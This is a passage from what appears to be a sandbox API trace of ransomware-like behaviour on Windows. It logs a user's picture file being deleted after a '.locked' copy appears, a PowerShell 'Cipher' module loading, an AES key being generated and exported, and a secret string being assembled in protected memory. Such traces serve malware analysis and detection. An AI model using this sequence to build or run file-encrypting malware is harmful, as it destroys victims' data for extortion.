lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.644] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0135.644] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png"), fInfoLevelId=0x0, lpFileInformation=0x6a62aa0 | out: lpFileInformation=0x6a62aa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39b41be0, ftCreationTime.dwHighDateTime=0x1d49ed3, ftLastAccessTime.dwLowDateTime=0xf4f0e830, ftLastAccessTime.dwHighDateTime=0x1d49fdb, ftLastWriteTime.dwLowDateTime=0xf4f0e830, ftLastWriteTime.dwHighDateTime=0x1d49fdb, nFileSizeHigh=0x0, nFileSizeLow=0x88d5)) returned 1 [0135.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0135.644] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png")) returned 1 [0135.645] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.647] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png.locked")) returned 0x20 [0135.647] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png.locked")) returned 0x20 [0135.648] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked", lpFilePart=0x0) returned 0x75 [0135.648] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked", lpFilePart=0x0) returned 0x75 [0135.648] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.648] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.648] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.649] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.649] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.650] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.650] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.651] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.652] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.652] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0135.653] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a7c77c | out: lpFileInformation=0x6a7c77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14119815, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x14119815, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x14119815, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x88f4)) returned 1 [0135.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0135.654] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked", lpFilePart=0x0) returned 0x75 [0135.654] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0135.654] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0135.654] CloseHandle (hObject=0x858) returned 1 [0135.654] GetConsoleOutputCP () returned 0x1b5 [0135.655] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.655] GetConsoleOutputCP () returned 0x1b5 [0135.655] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.655] GetConsoleOutputCP () returned 0x1b5 [0135.655] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.655] GetConsoleOutputCP () returned 0x1b5 [0135.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.656] GetConsoleOutputCP () returned 0x1b5 [0135.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.656] GetConsoleOutputCP () returned 0x1b5 [0135.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.656] GetConsoleOutputCP () returned 0x1b5 [0135.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.657] GetConsoleOutputCP () returned 0x1b5 [0135.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.657] GetConsoleOutputCP () returned 0x1b5 [0135.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.657] GetConsoleOutputCP () returned 0x1b5 [0135.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.658] GetConsoleOutputCP () returned 0x1b5 [0135.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.658] GetConsoleOutputCP () returned 0x1b5 [0135.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.658] GetConsoleOutputCP () returned 0x1b5 [0135.659] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.659] GetConsoleOutputCP () returned 0x1b5 [0135.659] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.659] GetConsoleOutputCP () returned 0x1b5 [0135.659] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.659] GetConsoleOutputCP () returned 0x1b5 [0135.660] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.660] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0135.660] GetConsoleOutputCP () returned 0x1b5 [0135.660] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0135.660] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.661] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6aa3f74*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6aa3f74*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0135.661] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.661] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0135.666] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.666] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.666] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.666] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0135.666] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.666] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.667] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43969b0) returned 1 [0135.667] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84b38) returned 1 [0135.667] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.667] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.668] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6aad8a8, pdwDataLen=0x99ae894 | out: pbData=0x6aad8a8*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.669] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x01") returned 0x0 [0135.669] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.669] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.669] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.669] SysStringLen (param_1="") returned 0x8 [0135.669] SysStringLen (param_1="o") returned 0x8 [0135.669] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.669] SysStringLen (param_1="\xbaaa\x972d\x827c\xea8b\x845c\x9a9\x4049\x4285") returned 0x8 [0135.669] SysStringLen (param_1="\xbaaa\x972d\x827c\xea8b\x845c\x9a9\x4049\x4285") returned 0x8 [0135.669] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.670] SysStringLen (param_1="o4") returned 0x8 [0135.670] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.670] SysStringLen (param_1="\x6411\x6be7\xbcff\x45c6\x3103\x58db\xb90c\x72db") returned 0x8 [0135.670] SysStringLen (param_1="\x6411\x6be7\xbcff\x45c6\x3103\x58db\xb90c\x72db") returned 0x8 [0135.670] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.670] SysStringLen (param_1="o4W") returned 0x8 [0135.670] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.670] SysStringLen (param_1="\x348c\x53d9\xa9c8\xdf4f\xf894\x5bfc\x28c5\xe2ca") returned 0x8 [0135.670] SysStringLen (param_1="\x348c\x53d9\xa9c8\xdf4f\xf894\x5bfc\x28c5\xe2ca") returned 0x8 [0135.670] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.670] SysStringLen (param_1="o4Wy") returned 0x8 [0135.670] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.670] SysStringLen (param_1="\x9cd2\x936d\xb948\x5950\xe634\xe516\x927d\x1a3d") returned 0x8 [0135.670] SysStringLen (param_1="\x9cd2\x936d\xb948\x5950\xe634\xe516\x927d\x1a3d") returned 0x8 [0135.670] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.670] SysStringLen (param_1="o4Wys") returned 0x8 [0135.670] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.670] SysStringLen (param_1="\x7628\x59b7\x65eb\xf2f4\xb309\x15a4\xd77c\x7e97") returned 0x8 [0135.670] SysStringLen (param_1="\x7628\x59b7\x65eb\xf2f4\xb309\x15a4\xd77c\x7e97") returned 0x8 [0135.670] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.671] SysStringLen (param_1="o4Wysi") returned 0x8 [0135.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.671] SysStringLen (param_1="\x315f\x349e\xf4a5\x5f1b\x210e\x2684\x5a38\x5342") returned 0x8 [0135.671] SysStringLen (param_1="\x315f\x349e\xf4a5\x5f1b\x210e\x2684\x5a38\x5342") returned 0x8 [0135.671] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.671] SysStringLen (param_1="o4Wysij") returned 0x8 [0135.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.671] SysStringLen (param_1="\xd17d\x43fb\xa51c\x5666\x225\xc859\x35a\xad21") returned 0x8 [0135.671] SysStringLen (param_1="\xd17d\x43fb\xa51c\x5666\x225\xc859\x35a\xad21") returned 0x8 [0135.671] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.671] SysStringLen (param_1="o4Wysija") returned 0x8 [0135.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.671] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570") returned 0x8 [0135.671] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570") returned 0x8 [0135.671] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570") returned 0x8 [0135.671] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570") returned 0x10 [0135.671] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.671] SysStringLen (param_1="o4WysijaJ巆䙎ꌅ读ᓮꖣ") returned 0x10 [0135.671] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.671] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320e\x7c0d\x7a59\x2abc\x73aa\xf28a\x678\x65fa") returned 0x10 [0135.671] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320e\x7c0d\x7a59\x2abc\x73aa\xf28a\x678\x65fa") returned 0x10 [0135.671] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.671] SysStringLen (param_1="o4WysijaJO䙎ꌅ读ᓮꖣ") returned 0x10 [0135.672] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.672] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\xcb18\x928b\x3ae2\x13c5\x7240\x1d4f\x6171\x1c4e") returned 0x10 [0135.672] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\xcb18\x928b\x3ae2\x13c5\x7240\x1d4f\x6171\x1c4e") returned 0x10 [0135.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.672] SysStringLen (param_1="o4WysijaJOLꌅ读ᓮꖣ") returned 0x10 [0135.672] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.672] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x576a\x2779\x7064\x5b19\x29fc\xea74\x4076\x8e61") returned 0x10 [0135.672] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x576a\x2779\x7064\x5b19\x29fc\xea74\x4076\x8e61") returned 0x10 [0135.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.672] SysStringLen (param_1="o4WysijaJOLy读ᓮꖣ") returned 0x10 [0135.672] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.672] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x2b3e\xd8d5\xc3ed\xb7af\x8b1f\x41d8\xb853\x97ea") returned 0x10 [0135.672] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x2b3e\xd8d5\xc3ed\xb7af\x8b1f\x41d8\xb853\x97ea") returned 0x10 [0135.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.672] SysStringLen (param_1="o4WysijaJOLyB读ᓮꖣ") returned 0x10 [0135.672] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.672] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\xa766\x40d\x5a8a\x7cd7\x8c19\xde54\x323b\x53cd") returned 0x10 [0135.672] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\xa766\x40d\x5a8a\x7cd7\x8c19\xde54\x323b\x53cd") returned 0x10 [0135.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, 